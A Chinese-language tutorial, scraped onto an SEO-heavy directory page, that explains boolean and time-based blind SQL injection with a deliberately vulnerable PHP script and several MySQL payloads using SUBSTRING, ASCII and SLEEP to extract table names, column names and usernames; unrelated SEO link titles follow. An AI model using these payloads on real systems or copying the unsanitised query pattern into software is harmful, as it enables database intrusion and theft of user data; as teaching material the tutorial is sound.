当前位置: 首页 > wzjs >正文

专题网站建设策划福州搜索引擎优化公司

专题网站建设策划,福州搜索引擎优化公司,好网站分享,可以做视频推广的网站有哪些一. 布尔盲注 布尔盲注是通过观察应用程序的响应&#xff08;如HTTP 状态码等&#xff09;来判断查询条件是否为真。 1.进行数据库配置连接 <?php // 数据库连接配置 $host localhost; $dbname testdb; $user root; $password password;$conn new mysqli($host, $us…

一. 布尔盲注
布尔盲注是通过观察应用程序的响应(如HTTP 状态码等)来判断查询条件是否为真。

1.进行数据库配置连接
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';$conn = new mysqli($host, $user, $password, $dbname);if ($conn->connect_error) {die("Connection failed: " . $conn->connect_error);
}// 获取用户输入的参数
$id = $_GET['id'];
2.构造布尔盲注查询
$query = "SELECT * FROM users WHERE id = $id AND 1=1";$result = $conn->query($query);
3.返回查询结果
if ($result->num_rows > 0) {echo "Query is TRUE (数据存在)";
} else {echo "Query is FALSE (数据不存在)";
}// 关闭连接
$conn->close();
?>
4.攻击者可以通过修改 `id` 参数,一点点推断数据库信息

获取表名:

sqlid=1 AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a'


获取列名:

sqlid=1 AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 1)='u'


获取数据:

sqlid=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'

二. 时间盲注
时间盲注是通过在 SQL 查询中插入时间延迟函数(如 `SLEEP()`),根据数据库响应时间来判断查询条件是否为真。

1.数据库配置连接与布尔盲注相同
2.构造时间盲注查询
$query = "SELECT * FROM users WHERE id = $id AND IF(1=1, SLEEP(5), 0)";
$start_time = microtime(true); // 开始时间
$result = $conn->query($query);
$end_time = microtime(true); // 结束时间
3. 计算查询耗时
$query_time = $end_time - $start_time;
4.根据查询时间判断结果
if ($query_time > 5) {echo "Query is TRUE (延迟 5 秒)";
} else {echo "Query is FALSE (无延迟)";
}
// 关闭连接
$conn->close();
?>
5.攻击者可以通过修改 `id` 参数,逐步推断数据库信息

获取表名:

sqlid=1 AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),1,1))=97, SLEEP(5), 0)


获取列名:

sqlid=1 AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1))=117, SLEEP(5), 0)


获取数据: 

sqlid=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))=97, SLEEP(5), 0)

三.获取表,列,具体数据的函数

1:获取表名

使用布尔盲注或时间盲注,逐个字符推断表名。
 

sqlid=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0),1,1))=97

 

2:获取列名

使用布尔盲注或时间盲注,逐个字符推断列名。
 

sqlid=1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0),1,1))=117
3:获取数据
sqlid=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1 OFFSET 0),1,1))=97
http://www.dtcms.com/wzjs/264617.html

相关文章:

  • 做投标的在什么网站找信息网络服务商在哪咨询
  • 做海报可以借鉴的网站做seo必须有网站吗
  • 模板建站能建个门户网站吗郑州官网网站推广优化
  • 为什么用wp做网站百度上海分公司
  • 广州网站建设是什么意思安卓优化大师2021
  • 龙岗网站开发公司百度云资源链接分享群组
  • 网站推广是网站建设完成之后的长期工作百度竞价点击软件
  • 怎么查网站的域名备案天津seo推广优化
  • 网站框架是什么河南网站网络营销推广
  • 科普网站栏目建设方案怎么做网络营销平台
  • 微网站怎么免费做2023年最新新闻摘抄
  • 企业网站推广方案设计毕业设计手机如何制作自己的网站
  • 免注册个人网站制作百度一下你就知道官网下载安装
  • wordpress怎么复制页面白银网站seo
  • 怎么用源代码做网站seo如何优化网站步骤
  • 网站建设的安全措施软件外包公司排行榜
  • MATLAB 做网站郑州网络推广服务
  • 网站打开速度规定多长时间南宁seo服务优化
  • 网站建设要考虑哪些内容可以投放广告的网站
  • 大连博硕网站建设网站开发外包
  • 网站备案幕布尺寸关于营销的最新的新闻
  • 一个空间放多个网站百度竞价排名怎么做
  • windows server 2008 网站配置今天中国新闻
  • 网站源码在线查看国内十大搜索引擎网站
  • 政府网站模板 免费制作链接的小程序
  • 南通网站建设系统电话免费发广告的软件
  • wordpress 过时手机优化什么意思
  • 服装设计师有前途吗哈尔滨推广优化公司
  • 网站接入网方式网络推广员是什么工作
  • 网页制作三剑客是什么网站如何做关键词优化